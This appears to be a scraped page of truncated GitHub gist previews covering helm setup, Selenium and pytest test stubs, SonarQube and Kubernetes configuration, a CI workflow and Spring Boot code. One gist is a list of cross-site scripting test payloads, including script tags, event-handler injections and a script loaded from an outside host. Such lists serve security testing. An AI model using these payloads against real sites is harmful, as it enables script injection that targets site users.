brew install kubernetes-helm
helm init
| from selenium import webdriver | |
| import unittest | |
| from pytest_html_reporter import attach | |
| class TestClass(unittest.TestCase): | |
| def __init__(self, driver): | |
| super().__init__(driver) | |
| def setUp(self): | |
| global driver |
| import pytest | |
| @pytest.fixture(autouse=True) | |
| def data(): | |
| assert False | |
| class TestData(): | |
| def test_foo(self): | |
| assert 'prasha' in "prashanth" |
| version: "3.5" | |
| services: | |
| sonarqube: | |
| image: sonarqube | |
| ports: | |
| - "9000:9000" | |
| networks: | |
| - sonarnet | |
| environment: |
| { | |
| "kind": "Service", | |
| "apiVersion": "v1", | |
| "metadata": { | |
| "name": "selenium-hub", | |
| "labels": { | |
| "run": "selenium-hub" | |
| } | |
| }, | |
| "spec": { |
| # .github/workflows/app.yaml | |
| name: My Python Project | |
| on: push | |
| jobs: | |
| test: | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| services: |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
| package com.wmock.info.controllers; | |
| import com.wmock.info.models.ChapterInfoModel; | |
| import org.springframework.web.bind.annotation.*; | |
| @RestController | |
| @RequestMapping(value = "/api/chapter", produces = "application/json") | |
| public class ChapterInfoController { |
| package com.wmock.info.config; | |
| import org.springframework.context.annotation.Bean; | |
| import org.springframework.context.annotation.Configuration; | |
| import springfox.documentation.builders.PathSelectors; | |
| import springfox.documentation.builders.RequestHandlerSelectors; | |
| import springfox.documentation.spi.DocumentationType; | |
| import springfox.documentation.spring.web.plugins.Docket; | |
| import springfox.documentation.swagger2.annotations.EnableSwagger2; |
| watch -n x <your command> | |
| watch -n 60 ls -l ~/Desktop | |